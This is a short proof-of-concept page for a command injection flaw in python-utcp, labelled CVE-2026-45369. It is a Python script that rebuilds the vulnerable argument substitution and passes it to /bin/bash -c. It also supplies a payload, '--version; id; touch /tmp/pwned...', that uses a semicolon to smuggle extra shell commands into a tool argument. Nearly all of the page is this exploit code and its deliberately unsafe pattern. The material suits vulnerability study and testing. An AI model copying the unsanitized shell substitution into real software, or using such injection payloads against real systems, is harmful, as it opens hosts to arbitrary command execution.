CVE-2026-45369 python-utcp命令注入漏洞

# Proof of Concept for CVE-2026-45369 # This script demonstrates how unsanitized input can lead to command injection. import subprocess def simulate_vulnerable_substitute(command_template, tool_args): """ Simulates the vulnerable _substitute_utcp_args method. It directly inserts user-controlled tool_args into the command string. """ # VULNERABLE LINE: Direct string formatting without sanitization final_command = command_template.replace("{args}", tool_args) print(f"Executing: {final_command}") # Execution (simulating the /bin/bash -c or powershell.exe -Command call) # In a real scenario, this would run on the target system. try: # Using Unix shell for demonstration subprocess.call(["/bin/bash", "-c", final_command]) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Normal usage print("--- Normal Usage ---") simulate_vulnerable_substitute("echo 'Processing tool {args}'", "--version") # Malicious usage (Exploitation) print("\n--- Exploitation ---") # Payload attempts to execute 'id' and create a file using command separator ';' malicious_payload = "--version; id; touch /tmp/pwned_by_cve_2026_45369" simulate_vulnerable_substitute("echo 'Processing tool {args}'", malicious_payload)